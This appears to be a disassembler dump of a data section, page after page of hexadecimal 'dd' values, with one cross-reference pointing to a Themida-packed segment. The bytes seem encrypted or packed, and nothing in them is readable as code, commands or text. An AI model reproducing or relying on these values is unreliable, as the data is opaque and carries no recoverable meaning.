		dd 749F8F4Fh, 2C73BF7Ah, 9F0DC561h, 0F8E79EC4h,	2DDh, 8767BA00h
		dd 54347DCCh, 27074C99h, 0F6D61B6Ch, 0C6A6E93Bh, 3F91251Bh
		dd 16611CFCh, 0E232EDCDh, 0B400BB9Bh, 23098D6Dh, 1DD5C208h
		dd 8074A1E7h, 0DFFDD327h, 61E55CC4h, 4B698FE7h,	9777BA0Ch
		dd 29478ADCh, 54C98D7h,	0D3D243Eh, 0DEE71DD4h, 0E3AC8DB8h
		dd 0E71DD49Ch, 27F23985h, 0C60CAE31h, 761403BAh, 99000002h
		dd 65200053h, 32EDCD16h, 5C0A0E5h, 0D48F6FB4h, 0B45F3F82h
		dd 95D82ACCh, 66AFFAB5h, 347BCB86h, 64D9954h, 0A1BCA226h
		dd 0E71DD5A9h, 27190D3Ah, 93DA2AD3h, 0F2223D5Bh, 0F1E761E5h
		dd 0B50404CBh, 63B5BA74h, 0E3EA0520h, 3C8A8BB6h, 0B5E71DEEh
		dd 0C81A89A7h, 1DEE9DADh, 0A284EE7h, 1DEEDBEFh,	376288E7h
		dd 66AB042Dh, 1AB7C3Ch,	5D4A0000h, 1603CA11h, 0B2A383CAh
		dd 186A885Eh, 23CCCDFDh, 54A59EE1h, 74ACD70Fh, 5AE55459h
		dd 22E90FE7h, 0F0ABD322h, 0C0F4DF8Eh, 48622970h, 9AE4E510h
		dd 37E71462h, 0F0DDA4EBh, 0D59158A1h, 3B6EF715h, 3E83D413h
		dd 243F5D77h, 0E7146226h, 56749FC5h, 363AF738h,	50463C60h
		dd 14000000h, 0DF2AD327h, 96E2CF96h, 0C1DF174Fh, 0B4DF306Fh
		dd 23CCB199h, 0D40C32E1h, 0D5D9100Dh, 0AE1A32B2h, 5D4A4B76h
		dd 86E75A51h, 0B4034260h, 965F406Bh, 0E7146EC8h, 5495B3C1h
		dd 3C602EDDh, 0A0A3h, 0C4035500h, 1493079h, 0E2E71462h
		dd 5D7591BCh, 5FA8F711h, 7F467E98h, 36FD4092h, 0EFB6FD49h
		dd 4A64B0EFh, 527DB5F8h, 7BC7E12Dh, 1B536D34h, 0D1FCA43Bh
		dd 59A5E123h, 0ED413212h, 68A7F917h, 0A7A8D316h, 0E75D7F56h
		dd 0F749678Dh, 592069B8h, 9DEF143Fh, 6DBF7A5Ah,	9C335F2Ah
		dd 0D58C39F4h, 104E6h, 8EE12700h, 5BA4F3AEh, 2E73C07Bh
		dd 0FD42934Eh, 0CD10621Dh, 0B84242EDh, 88432366h, 5914F43Dh
		dd 27E2C209h, 30B494DBh, 0D71B2F4Ah, 9BC8E71Dh
		dd 0F50B5DA7h, 4B2B63A8h, 1DFD4490h, 0DDF84A6Bh, 0E123CCEDh
		dd 243D587Eh, 1A41D577h, 0FF4B709Bh, 0B804F1B8h, 0F4D1EB8Eh
		dd 7B955CA5h, 764C9E60h, 41905E3Eh, 0CDB04479h,	0A3FE29B7h
		dd 125BA64Fh, 0CA135E4Bh, 213C5A92h, 0E75B010Eh, 62A1BFE5h
		dd 78C4CF16h, 25506A31h, 195CAEEDh, 99D4A239h, 93E2E714h
		dd 0E98BBBAEh, 7398C3DDh, 4500E027h, 0FAE9B0F3h, 5Dh, 0FDD327A2h
		dd 203B8DDFh, 0E123CC2Ah, 676893B9h, 0E761E5BDh, 0CF9C0E6h
		dd 1154A6C0h, 18F8304Ah, 0A8F7115Dh, 9760275Fh,	47CA52C7h
		dd 0BB173511h, 8D48286Fh, 4633FA41h, 2DE9B0F5h,	0E4E60153h
		dd 8787CDA9h, 0FA183661h, 0B4FD4C8Bh, 0D1186489h, 0A3EA36F1h
		dd 3EDDCh, 28950000h, 0C4175D36h, 7DC410FDh, 3279C9B6h
		dd 0EA337E6Bh, 0A1E43623h, 589BEDDAh, 0E53A491h, 0C80D5A47h
		dd 7CC51401h, 8950C3B5h, 405E0h, 0E8830000h, 24043304h
		dd 33240431h, 685C2404h, 24E9h,	68241489h, 4DE7h, 50241C89h
		dd 222112B8h, 6B3A2D46h, 55253325h, 3513D449h, 77696522h
		dd 80B41705h, 8BC289A0h, 0C4832404h, 1C8B5404h,	4C48124h
		dd 52000000h, 2034BF57h, 7C2974D8h, 8F5F0424h, 43810843h
		dd 0D8203408h, 2434FF74h, 4C4815Bh, 0FF000000h,	815A2434h
		dd 4C4h, 617CE900h, 2867FFF9h, 5FB8E390h, 3063E1Ch, 1E0FFC5h
		dd 0DE75586Ch, 0A31BE042h, 6B31CDB0h, 546F6F29h, 272A5DCEh
		dd 0D9601C92h, 2350BE97h, 5E56CF07h, 0DF0E4E9Ch, 0AA4ABF4Ch
		dd 0A644E0DCh, 3C7BAD51h, 596F4B57h, 28331F34h,	225CDA8Ch
		dd 2D0E2893h, 0AD44D172h, 1029970Dh, 0CF1C6330h, 826F60A6h
		dd 0B5184DC4h, 82167ECAh, 9311C9BAh, 651A62ECh,	6A250877h
		dd 0FC63C522h, 0EB2DB4CBh, 0C7F8CF04h, 500E905h, 0B4FA0000h
		dd 77C68161h, 46934E2Eh, 15662101h, 0E335F0D0h,	2F15C0A0h
		dd 16F6398Bh, 0E7C7105Bh, 0B595DC2Ch, 8767AEFAh, 0C8021D03h
		dd 9BE71DD1h, 115D7A6Eh, 0AE5DACCAh, 0F0AF9F50h, 7E4C6785h
		dd 0EDE1237Eh, 0CEBB9CC7h, 8B59397Ch, 99E4FA4Ch, 376F8950h
		dd 6B96DB2Ch, 0ECB3FA46h, 0A56CB3FFh, 592069B8h, 55B1CFABh
		dd 27E2C209h, 0F5B090D7h, 97975EA5h, 97C20758h,	0C0DE2772h
		dd 28EF3481h, 1502E30Eh, 0CDBA81CAh, 0E0303B80h, 5616D299h
		dd 15D5AF38h, 44B9BF7h,	0D61D6924h, 6BBD0F0Fh, 237E7A50h
		dd 0DCC3E9E1h, 0E1237EEEh, 5FAF423h, 0A4656DBBh, 4F1659ABh
		dd 0D1D2FD35h, 0E1237C84h, 2A6B8963h, 36293D07h, 0A9F03C7Bh
		dd 44447Eh, 5D120000h, 3A03CA11h, 0E123CC6Eh, 90D1EFC9h
		dd 36288CA1h, 1DFh, 0E5DAD00h, 225AA3F2h, 317AC504h, 0E9382506h
		dd 9AD9D9A0h, 223C034Ah, 3C81D2F7h, 0CDEBC775h,	0F9D92271h
		dd 579AEC2Bh, 74BB072Ch, 0B5DE294h, 0C51401C8h,	7CC8B57Ch
		dd 536E6E35h, 0E123CC77h, 71C3CEF4h, 0E9AD672Eh, 8D8342CBh
		dd 7EC1136Fh, 5097E39Eh, 0FF4A8989h, 864D92E3h,	0E409346Ch
		dd 768B5297h, 38094A68h, 4A36288Bh, 0F1EB38FBh,	75A029C4h
		dd 653Bh, 0B4A0900h, 94AE75BAh,	0AFF24469h, 69AEFBE8h
		dd 0FA18F4A2h, 29094C9Eh, 12D91C6Eh, 0C88FD425h, 4687A5B3h
		dd 36288AFBh, 6F85h, 0B5D5300h,	9B62A9F5h, 95824981h, 91E0FE45h
		dd 0CE1EF837h, 98D36C87h, 927F608Bh, 4C390045h,	3F0B7FAh
		dd 0D69670B7h, 1C2E49B8h, 0CFE123F6h, 105E71A9h, 14496F2h
		dd 0E5D6F21h, 0CC86C4DFh, 3F65E123h, 4597E907h,	23CC202Ah
		dd 0B69DC3E1h, 0E123CC94h, 25063157h, 23CC135Ch, 0F412ECE1h
		dd 0AEF74685h, 8CB87983h, 1C83628h, 96000000h, 4CB105Dh
		dd 0BD84CB17h, 24D82701h, 0AACC1DFBh, 14A95A0h,	0D7F5203Ah
		dd 0CB105DB9h, 0D0A6FAEBh, 0E12673B2h, 0E6637EB6h, 85E75AF8h
		dd 0B202415Fh, 6F8AA46Bh, 724C06B5h, 9E7FAAE4h,	0FE4B65B1h
		dd 0A0D8F2B9h, 8FB905C0h, 0F8DC70E5h, 551C542Ah, 1451C08Ch
		dd 4D96E1E7h, 54E9986h,	0DDFB493Eh, 0D5F34154h,	6E62D79h
		dd 9AB8FF4Bh, 9EC90E5Bh, 5784D0BDh, 9C83C618h, 0E71451AEh
		dd 18DF173Dh, 7638177h,	0F49474BBh, 3C60293Dh, 9EB40645h
		dd 2B450C51h, 0E7122CF3h, 15CADh, 0D3277B00h, 3E8DDFFDh
		dd 1F76C285h, 0B7B8E3D0h, 0E75A09B6h, 5340072Dh, 25E0C007h
		dd 2B74BFD9h, 4B124A64h, 4CB125Eh, 0E04F6D63h, 5E666791h
		dd 2B7612F5h, 5A7FAAE2h, 84C6E10Eh, 67E7147Ch, 89290941h
		dd 3C603CA8h, 36D8h, 0DE27A600h, 53C7E200h, 90E123CDh
		dd 0F0DAA36Ah, 5CE123CCh, 9FE87A98h, 0FF51A3C1h, 632A6FC0h
		dd 0CC686249h, 0D5FBE123h, 0CD71A9AAh, 4C72E123h, 0DBAF6Ch
		dd 27570000h, 8DDFFDD3h, 23CC5872h, 0DAE50BE1h,	0E018438Ah
		dd 0BAFD4F8Eh, 0ADAED9F3h, 0E75AE4C0h, 5CCDE2EBh, 0A8C30A56h
		dd 9DD57E09h, 0CC92307Fh, 0B2014964h, 0BCE2E714h, 698360A1h
		dd 729DD51Eh, 1158A491h, 0E32A7631h, 0F13486C5h, 0A6ED3D2Ah
		dd 628DC5DFh, 8EE9B881h, 40A8E714h, 49819CEEh, 1AE7148Fh
		dd 8F3D0DF4h, 88AEE714h, 0C5213F5Dh, 62FF4F79h,	4B0AEF52h
		dd 0EE423313h, 0EBB2F945h, 607B99D1h, 0E15652BCh, 0DDCA91B7h
		dd 0ED2C4A91h, 79935AA1h, 0F1B16D4Eh, 31ED41D3h, 2A693416h
		dd 8691B7E1h, 132DF439h, 7EA2BDDBh, 18E7684Fh, 6BD992C9h
		dd 3B66A4F6h, 0CD1C3A60h, 0F86CF89Dh, 3B567462h, 0E714E80Fh
		dd 918BB6DCh, 356974C3h, 0A535C912h, 529C698Ah,	56815EA5h
		dd 0FDD3273Ah, 0C33E8DDFh, 85553C2Ch, 8488C2A9h, 4F5BE123h
		dd 23841634h, 77AFD5E1h, 7F9144Ch, 5CE761A2h, 36826F36h
		dd 8540FEFh, 998AC0DBh,	3359E71Dh, 5B93D628h, 0F20CCB94h
		dd 0C315E323h, 7DCCB980h, 2A786D34h, 0DBB7830Ch, 0CE1561BDh
		dd 0A0E733EEh, 569BECD9h, 0F513D38Fh, 0E7334D99h, 23A81CDh
		dd 9E9213Bh, 0F4BB024Eh, 2063B5F4h, 0ED143F59h,	3, 5D362895h
		dd 10FDC417h, 0C9B67DC4h, 7E6B3279h, 3623EA33h,	0EDDAA1E4h
		dd 0A491589Bh, 5A470E53h, 1401C80Dh, 0C3B57CC5h, 4C5F68h
		dd 24348900h, 728468h, 243C8900h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 6368242Ch, 8B063E1Dh, 0C483243Ch,	2C8B5404h
		dd 4C48324h, 8B951h, 0C1810000h, 7D165E02h, 0E981E901h
		dd 7D165E02h, 0FF593989h, 835D2434h, 3C8B04C4h,	0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0F95BFDE9h, 7264DAFFh, 0F5B85932h
		dd 3063E21h, 24E0FFC5h,	1A0598A3h, 0C47D943Fh, 0D823AA83h
		dd 0B6CAEDDh, 0D63C47CAh, 0C13ED4ACh, 6A1C6C3Ah, 306A07B6h
		dd 5E5A8C07h, 0CE6D7797h, 0D936125Dh, 345D033Ah, 19110410h
		dd 0DF0DBA4Ch, 3F46913Bh, 2377E249h, 24748DB5h,	0D3C0FE6h
		dd 0EB361D28h, 0B68BB504h, 54EE910h, 549A0000h,	17662101h
		dd 0E633EECEh, 0B506C1A1h, 83D59070h, 0CFB56040h, 0B696D92Bh
		dd 8767B0FBh, 55357CCCh, 27074E9Ah, 0A8A2BDA3h,	3BE71DEEh
		dd 0F84A1A0Eh, 23CCEDDDh, 2D587EE1h, 5775BC08h,	0BB82C718h
		dd 0A89576A1h, 9BF03056h, 0C99CC009h, 0C7FF377Ch, 0B6E02CE7h
		dd 0E93BEBF2h, 0B2888BA6h, 78652C64h, 78C7E52Ch, 0A2DA5121h
		dd 72537E0Eh, 26ED3685h, 227E9C78h, 0F4AF8FD6h,	3F5DA4h
		dd 46406BAEh, 2DF43B8Bh, 0E5ACF540h, 0C0104F29h, 0D91154A6h
		dd 167290AEh, 0E49F7FC6h, 0F4335198h, 96965DA4h
		dd 23754F7Bh, 0BEF61CE1h, 9CE9B293h, 7BE12375h,	301A3587h
		dd 0B3E12375h, 2644628Dh, 0F91068B7h, 0C3283AE9h, 28435E99h
		dd 0BEE94BFDh, 28967DB4h, 6D0336h, 4AD10000h, 4D78BF0Bh
		dd 0CE95DC28h, 23CCBB05h, 0BE0756E1h, 72BB0AF7h, 112FEFABh
		dd 0C3E1BB88h, 288CAF82h, 8D136h, 44830000h, 0CBE5ACF5h
		dd 0E5D84A0h, 0C211FEC5h, 0D60E57A6h, 85D00F0Fh, 405B753Ch
		dd 7B98EF63h, 0F31843FEh, 0A9965DA2h, 6350175Ch, 4A04CB14h
		dd 13DF6886h, 6EBD1937h, 38774525h, 3C7FD1EDh, 68B4D904h
		dd 5D8F4121h, 101C80Bh,	0D2B72C2h, 23CCD8F2h, 3A658BE1h
		dd 5F7DC615h, 0A543110h, 729DCBC1h, 0DCFAF091h,	0B3052E80h
		dd 2342B298h, 240B31E1h, 0E1234226h, 87679FC5h,	1B3980CCh
		dd 3811C3CCh, 3A65B099h, 0DA1F6C59h, 22E7DBCh, 96FD4B04h
		dd 6B326A5Dh, 30452651h, 7EC30422h, 43628A8h, 0C14F79C5h
		dd 2901388Bh, 407AA5DDh, 64h, 0C80B5D0Eh, 94AF0101h, 0E123CCB6h
		dd 3C0E2935h, 0AFE123CCh, 1265189h, 0FAA86FB4h,	0BDA6B504h
		dd 7D7DA757h, 0BA163452h, 8A452568h, 8AD32238h,	4D9E8B52h
		dd 42C4108h, 682F74C5h,	0E705234Eh, 28D79BA6h, 43E536h
		dd 5DB30000h, 5BAAC80Bh, 0AB235A36h, 250631F2h,	0DAA1E838h
		dd 1D7997E5h, 0F6A888CBh, 0FEC50E5Dh, 23CC6835h, 0CFEDC7E1h
		dd 0D7F30E60h, 94E123CCh, 1535506Eh, 0D6E123CCh, 0B67B85B0h
		dd 0CA36288Ch, 1, 0CB105D98h, 0D71E6EADh, 8CD32310h, 0B4F74954h
		dd 0C7A8D3EDh, 80478EDAh, 8AE604C4h, 81A153Dh, 0B913E303h
		dd 0B79DC69Eh, 73FA7A5h, 26E23627h, 23EA3F0Bh, 4E86ACE1h
		dd 529FDE30h, 68E1E20Dh, 0FBE75AF7h, 0D5210ED5h, 2577E4ABh
		dd 917792D9h, 54C9895h,	0B4EC243Eh, 86CD19D4h, 0C4DC2968h
		dd 4D672E73h, 9344E15h,	83155F28h, 5EACE714h, 5198E440h
		dd 236AB671h, 0EF0A5C5Ch, 0E71483DBh, 0E996102Eh, 36F73E6Dh
		dd 74C0E510h, 0D97B604Ah, 40D9B560h, 650AB90Ch,	9F669ED6h
		dd 8EEA08FEh, 9EDDFB42h, 0E6E00B52h, 6074EB46h,	0B58973Ch
		dd 2669BBC6h, 11AC1FBh,	278F0000h, 0C4DFFDD3h, 0E75AFAA3h
		dd 5E4B1238h, 62A7F812h, 6949819Bh, 541B62AEh, 0DD41B67h
		dd 0FC58766Ch, 0E98969B0h, 3C5FBA48h, 5C38h, 0FB4A0600h
		dd 9BD86B21h, 68627D1Dh, 0FBE1231Ah, 17729DD5h,	0B7D2F0CEh
		dd 0E1231B43h, 8EB80443h, 53464075h, 90578F15h,	5F4A5B76h
		dd 36D1DEBFh, 430A300Bh, 6CB50443h, 3E0A4041h, 0FEC2E123h
		dd 27054EE0h, 3F0CEE09h, 395FE123h, 9CAEC91Bh, 4FE1233Eh
		dd 4704FE29h, 90h, 0FDD327EFh, 0E4DBC4DFh, 54A3E75Ah, 1D0B6A2Eh
		dd 0C9A4CFB5h, 0A3EFDCA3h, 75C17C5Ch, 2867672Eh, 0B3CD94DDh
		dd 0F4507A95h, 0ED13E714h, 0F5F2C1C2h, 379FE714h, 1154A6E5h
		dd 14F4202Ah, 729DC3E7h, 8EDA3654h, 5A996747h, 8DA8C60Fh
		dd 0E714F4BDh, 82DD082Eh, 1F3A582Eh, 0E156D79Dh, 0C3123056h
		dd 0E15D0F9Ch, 93D75869h, 0D8BD14Ch, 0DCC9AAD5h, 0DE277690h
		dd 6323DFA6h, 895FB345h, 0D3CC506Bh, 0F84AE768h, 14D2EDDDh
		dd 2D587EE7h, 9A4C2C52h, 0DFFDD327h, 61EF30C4h,	6785ABE7h
		dd 0D408EF18h, 0C4EFCD2Fh, 80AAF6E3h, 82684AB3h, 44F5AA1h
		dd 0A2DAF4BBh, 74BB07C2h, 405BADADh, 0E71DED0Ah, 8788B3D9h
		dd 0F192511Ch, 0E642603Ch, 0B873539Ah, 715E256Ch, 6EBDDB20h
		dd 0A624626Bh, 153550C3h, 0D6F1954Dh, 6C4D78B0h, 4584D6B0h
		dd 0FECCB3F8h, 6DF1954Dh, 0E0FE1C47h, 11F13884h, 0FCC30A56h
		dd 0D0Dh, 0F84AB500h, 23CCEDDDh, 2D587EE1h, 175DE1D3h
		dd 0C410FDC4h, 79C9B67Dh, 337E6B32h, 0E43623EAh, 9BEDDAA1h
		dd 53A49158h, 0D5A470Eh, 0C51401C8h, 53C3B57Ch,	0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 1768242Ch, 89000053h, 4468243Ch
		dd 89000054h, 6851240Ch, 56830638h, 6CE98159h, 0C112BB32h
		dd 0E98107E9h, 0FA496CE4h, 8159CF89h, 4ECh, 24248900h
		dd 4240481h, 59000000h,	168368h, 243C8900h, 0C3242C81h
		dd 8F5E6445h, 41810841h, 6445C308h, 240C8B5Eh, 81E78957h
		dd 4C7h, 4C78300h, 5C243C87h, 5F2434FFh, 4C481h, 57E90000h
		dd 0EFFF956h, 0D90B318Eh, 398F9C8Fh, 9E7A0DC5h,	3E277CB8h
		dd 0FFC50306h, 50DCFDE0h, 48BCAC7Eh, 0A58E3325h, 0CBB7452Dh
		dd 0FD15FD06h, 40C7D776h, 3AFAA45Fh, 515B03Ah, 0B3337A7Ch
		dd 58442378h, 0F733F111h, 0D2B4D82Fh, 0A5EF2E3Bh, 9FB3B00Ch
		dd 0A24D041Eh, 0D08D8D2Ah, 80063E28h, 8D8948DAh, 6371875h
		dd 3FDFBF66h, 2E59BD89h, 85C70637h, 6371195h, 5824h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A1C35747h, 89858B99h
		dd 0C7063722h, 370F8185h, 6, 0C8816600h, 0B5FFAC8Dh, 6371189h
		dd 3820Fh, 0BF0F0000h, 9195FFD3h, 80063712h, 8D89A6C4h
		dd 63728ADh, 95FF006Ah,	6373219h, 38EBC08Bh, 228C8A39h
dword_5AF528	dd 0C868BEE9h, 2467EA69h, 0BF3A5551h, 4A4020E2h, 56DBA8C6h
					; DATA XREF: Themida_:00545398o
		dd 68A4CF42h, 0FD6B8A3Eh, 75B5876Dh, 8A7EC0B2h,	3D509AABh
		dd 319BC149h, 0B224728Eh, 4D2ABD19h, 50404EBh, 0F9E96A4Ch
		dd 6800000Dh, 63E2B0Ch,	0F95539E9h, 2C2668FFh, 2FE9063Eh
		dd 68FFF955h, 63E2E4Ch,	0F95525E9h, 2F8368FFh, 1BE9063Eh
		dd 68FFF955h, 63E330Bh,	0F95511E9h, 349B68FFh, 7E9063Eh
		dd 68FFF955h, 63E3588h,	0F954FDE9h, 66B9FFFFh, 337CCB86h
		dd 64B9853h, 0D51A6B26h, 0A5E83AF5h, 902A1AC5h,	601BFB3Eh
		dd 31ECCC15h, 0FFBA9AE1h, 88C6CB3h, 0E5C30722h,	73A0E71Dh
		dd 0CA115D7Fh, 83CA1603h, 387FCFBCh, 1D398471h,	0A8C289D2h
		dd 6FBCA970h, 2676632Ah, 3FFE18DFh, 7FCF2B49h, 66260038h
		dd 59A0EC48h, 83ABFC3Bh, 323B3A7Eh, 6792CA5Ah, 1D60B26Dh
		dd 0EF36823Dh, 0A8EF3B28h, 0CA83D7C8h, 102F339h, 87A5DD52h
		dd 59301A35h, 8DB3E123h, 1E0F2A62h, 0D5E75A70h,	571FE8AFh
		dd 72E71440h, 4D0AFC26h, 0F1211BFFh, 0FFF5F2B9h, 2E059E46h
		dd 667CCED9h, 0F00AD114h, 7535F1B8h, 8D9BCE57h,	1E032E6Fh
		dd 337D3C60h, 2F000000h, 305B9EF0h, 0FDD32714h,	0E53A0DFh
		dd 0CA022D47h, 5AECC6AFh, 0C7EDE7h, 14D36F37h, 365462E7h
		dd 0F13888C7h, 0DBE5102Ah, 3C5FAB56h, 1002Ah, 115DF800h
		dd 3F5AACCAh, 0E123CC0Bh, 0A687B2D8h, 0E54167B9h, 88A81C91h
		dd 98854C84h, 98E7054Ch, 5D784686h, 0E1234C6Dh,	0CEBDD8FEh
		dd 9AE63FACh, 213A4B1Bh, 0F0DDBEE9h, 0F03F5DA4h, 0DD7BA786h
		dd 54A4AF87h, 12C460Dh,	0A8FA3907h, 18A19E65h, 926511DCh
		dd 0DBDC073Fh, 0E123E5B4h, 0BB07216Dh, 0F3B5674h, 0DCE123FCh
		dd 0E39E7EB6h, 0E3325097h, 1D23927h, 0D1B2DD88h, 66845AAEh
		dd 5AAC424Bh, 6583A9E7h, 0CA91D426h, 743B95B0h,	7FF6A322h
		dd 15695A54h, 0CC06213Fh, 42E16AE4h, 436EB103h,	0E5244268h
		dd 0A2705093h, 0A5D01763h, 20EB2E80h, 3FC30E55h, 5F4837EEh
		dd 5100000Bh, 1DD8B80Bh, 0EAA585CEh, 0BD78589Dh, 8C47276Ch
		dd 6C17F73Ah, 4D90E294h, 1E67B26Dh, 0EC33833Eh,	0BE05510Ch
		dd 59745ADEh, 0E71DE771h, 4AD1C5F2h, 0CCEDDDF8h, 857EE123h
		dd 8BB6EE35h, 0F1D11466h, 0C3A3EA36h, 0B9F84A11h, 405A216Ah
		dd 23CC7159h, 0ACF9F2E1h, 4E86A067h, 9E74C823h,	0EC386580h
		dd 3D63E75Ah, 0D3E1AD76h, 0CAD8E714h, 0ACFE3DACh, 0FD343E69h
		dd 833C5FABh, 0F1h, 0CA115D51h,	0A0175DACh, 0F7212B06h
		dd 288CBED9h, 395FE123h, 0EE402D0Eh, 0D6746DC8h, 79F97A00h
		dd 8EE80366h, 571E5617h, 2367E78Eh, 1768A7E1h, 3682A7D2h
		dd 8540FEFh, 1364A3C1h,	2D65AAFBh, 40214C66h, 0D5F3C91Dh
		dd 6C769386h, 26510E9Dh, 53CAD3EEh, 0B31E75Ah, 10E63A2Bh
		dd 4585A0F2h, 26E71463h, 829DD500h, 0E16AD53Fh,	0D2EA3B34h
		dd 5F794085h, 0E466027h, 1C5FB1F0h, 11C6E3Ch, 0E12DCEC9h
		dd 0FF49919Ah, 0D06F140h, 3385AAD5h, 9B6025F0h,	32E93FC3h
		dd 0A4543h, 9EF13700h, 6BB403BEh, 3E83D08Bh, 0D52A35Eh
		dd 0DD20722Dh, 0C87252FDh, 98533376h, 6924044Dh, 37F2D219h
		dd 40C4A4EBh, 0E00B3F5Ah, 0ABD8E71Dh, 0BC0B4AB7h, 0A654AD90h
		dd 0DC1469C8h, 0ABD0FB15h, 68361659h, 91ACD929h, 0E123E7B9h
		dd 0A1CC042Ah, 9E9307Ch, 0CA115D57h, 72C40303h,	434E682Fh
		dd 6085B0F7h, 56EDCD14h, 0E123CC08h, 36165DA9h,	21E82F7Bh
		dd 0DAA1E834h, 0BCD72939h, 0E123CC8Eh, 0EE0C375Dh, 0E12874D0h
		dd 8CD06101h, 0C2B03628h, 7E000000h, 0DFFDD327h, 5AD8DFC4h
		dd 1FE60CE7h, 14C70856h, 557381E7h, 5F941D14h, 0A3633Ch
		dd 81310000h, 0E123CC34h, 57754B9Fh, 5AFADF3Ch,	6E60CE7h
		dd 98B6F94Bh, 19E00859h, 0F75B1299h, 0D3B4DF17h, 68865CB0h
		dd 6DE4044Dh, 9DB80AE1h, 0E123FBADh, 9A61A8F4h,	6E99BF80h
		dd 204A9A93h, 1A488553h, 0C38AC26Ch, 145371A9h,	1D62AFC7h
		dd 0D9041EE5h, 3C211DFh, 0B01FFC47h, 5088D11Ch,	69B00025h
		dd 1150A2A2h, 98B279C2h, 23DF99B1h, 0F9244AE1h,	56744A9Eh
		dd 0DFE1E904h, 0E838E123h, 0AFBAE0A1h, 3751185Fh, 0A8B9D40Ch
		dd 3BE75AF0h, 0CF783515h, 4000005h, 0DC2373B2h,	14C8D5F5h
		dd 457096E7h, 0DDF84A29h, 0E123CCEDh, 0FC4D587Eh, 0ABD6F0B7h
		dd 826FC50h, 5AF238EDh,	0C2733E7h, 0E714E93Eh, 884F87ADh
		dd 14E9F7BFh, 0BEDCEAE7h, 5FADB47Dh, 3E8FCE3Ch,	0ED1832F9h
		dd 585B3h, 0D5266500h, 0F13A8590h, 0C9E5102Ah, 0DB2F629Ah
		dd 95A0E532h, 1C36FD46h, 2274C6E4h, 23CCC307h, 4F7AA0E1h
		dd 5AEFC94Eh, 0D8F345E7h, 0E714EEF2h, 0F0404B71h, 9AA37EA9h
		dd 0C145EB5Ch, 0F3001B74h, 6CBAA838h, 0EE8FEA22h, 8CDFD587h
		dd 0B0F94887h, 0E40F54A5h, 418C3589h, 87A2C0F8h, 48A8F776h
		dd 6AA9C7EDh, 0F30DD419h, 70C4E7C8h, 6F617C9Ah,	0A74E9B05h
		dd 0FD61B68h, 0E6EFCAF5h, 670DE06Ch, 0E30139E8h, 311158A4h
		dd 18E32A76h, 9032BC49h, 1F7C6B22h, 11000008h, 0DD9878CBh
		dd 0AA65458Eh, 7D38185Dh, 4C07E72Ch, 2CD7B7FAh,	0D50A254h
		dd 0DE27722Dh, 0ACF343FEh, 7EC511CCh, 19341A9Eh, 0E71DE231h
		dd 5D9185B2h, 0D044E711h, 6A0D963Dh, 94CC135Fh,	0A3EC3776h
		dd 3C034698h, 0F316F722h, 60A5F69Fh, 29477F99h,	5A49850Eh
		dd 224066E7h, 6C4C93E3h, 4CF24F9Eh, 40D2FE47h, 14592525h
		dd 68A0C6E7h, 81C8183Dh, 297BBABAh, 90BABBE6h, 0F6E71459h
		dd 5B2265B7h, 49151641h, 32E71449h, 98EA08DEh, 8611F746h
		dd 0FBC62308h, 14493614h, 648FB5E7h, 6D5DF663h,	8CD918E1h
		dd 16DD2474h, 0E3FDC4FCh, 7C4386D8h, 635C3762h,	0F00AD116h
		dd 5E28F1B8h, 7BE12342h, 7CBF112Bh, 3F907D44h, 0B57933FAh
		dd 0CDDB0E97h, 1AC36EAFh, 13BD3629h, 8B000000h,	0DFFDD327h
		dd 5AE8C7C4h, 37FE24E7h, 2B48h,	0D327F000h, 0F290DFFDh
		dd 0F932C74Dh, 6C87BFEAh, 0E75A4ABBh, 0C3C38AB0h, 79745671h
		dd 659DE714h, 0B2095408h, 0CE1B14D5h, 0A265189h, 0C9E4115Dh
		dd 0E123CC81h, 0A1395962h, 0D517F920h, 0C19A659Dh, 8A3FCD96h
		dd 6E8E4D3h, 94DA0000h,	57A66141h, 26732E0Eh, 0F54601E1h
		dd 0C315D0B0h, 0FF5A080h, 0F6D6196Bh, 0C7A7F03Bh, 9575BC0Ch
		dd 67478EDAh, 0E8E2FDE3h, 7BE71DE3h, 0D3275A4Eh, 0DBC4DFFDh
		dd 0A3E75AD3h, 0A9FA1464h, 78652C64h, 81ACE42Dh, 0B9B980A6h
		dd 1BE22B7Ah, 0E617E601h, 0CBEF13E8h, 0E82F7BA0h, 0CDE83A08h
		dd 0E7146AFDh, 1C1D486Eh, 0E58A1D3h, 0B1916FB8h, 0E53A4E3h
		dd 0A7022D47h, 445F7D53h, 0C6267AE3h, 0CA0F5C9Bh, 0E3BEE903h
		dd 324D9FBDh, 0C6684918h, 997AA5CBh, 0F6145DACh, 0FA256AB7h
		dd 0E5BB0F00h, 5D0FACC7h, 0B6DCC011h, 44A0EFEFh, 99833DC2h
		dd 6531325Dh, 5CC05FE7h, 42EF304Eh, 4057A4B3h, 0E95E9FEEh
		dd 9E075E53h, 5F0E93B7h, 0FF2A50C0h, 154C5h, 0F84A9300h
		dd 23CCEDDDh, 2D587EE1h, 8AA87ED2h, 63A8F938h, 0AF9B829Ch
		dd 3CE123CCh, 2671F333h, 0B2EAFEF6h, 4B344F87h,	70E75ABAh
		dd 9EED2C4Ah, 0AAF9D172h, 0B0E8EDFCh, 6BB7A485h, 0A5C26C41h
		dd 3971E96Fh, 1E398B59h, 0E714102Ch, 496E99BFh,	95B5D0FDh
		dd 56E71410h, 9BDAF830h, 223C034Ch, 804D16F7h, 210E58DBh
		dd 0D6C38AD1h, 8E7B428Bh, 1832F93Ch, 0C952704Ch, 0A70321FDh
		dd 7934145Bh, 561FE62Dh
		dd 2913E189h, 1F7B9959h, 0F1AC8CD3h, 74975EA5h,	0D82A481Eh
		dd 14108DBDh, 0D385EE7h, 10B0BAD5h, 0D33E714h, 12E83C2Dh
		dd 2D0D9F4h, 6D93E16Dh,	266DB9A6h, 0F83F8B46h, 27A6831h
		dd 529FE123h, 759460Dh,	665CFDC4h, 25E5BF48h, 355FAB07h
		dd 0B1C24E5Bh, 35154D90h, 78560E9Eh, 1B318055h,	4A6CF250h
		dd 0DA020625h, 0D36223BFh, 772D92B8h, 0F32B5195h, 46246DC8h
		dd 185FAB66h, 92F28851h, 8A66133Fh, 7DC4106Ch, 4F96E29Dh
		dd 3B116588h, 9AB0CB1Dh, 4913308Bh, 6EC0F823h, 0D198DF2Fh
		dd 2A8B8CB7h, 0C11549B7h, 4FE6AAB8h, 5C67168Dh,	6E8CC40Dh
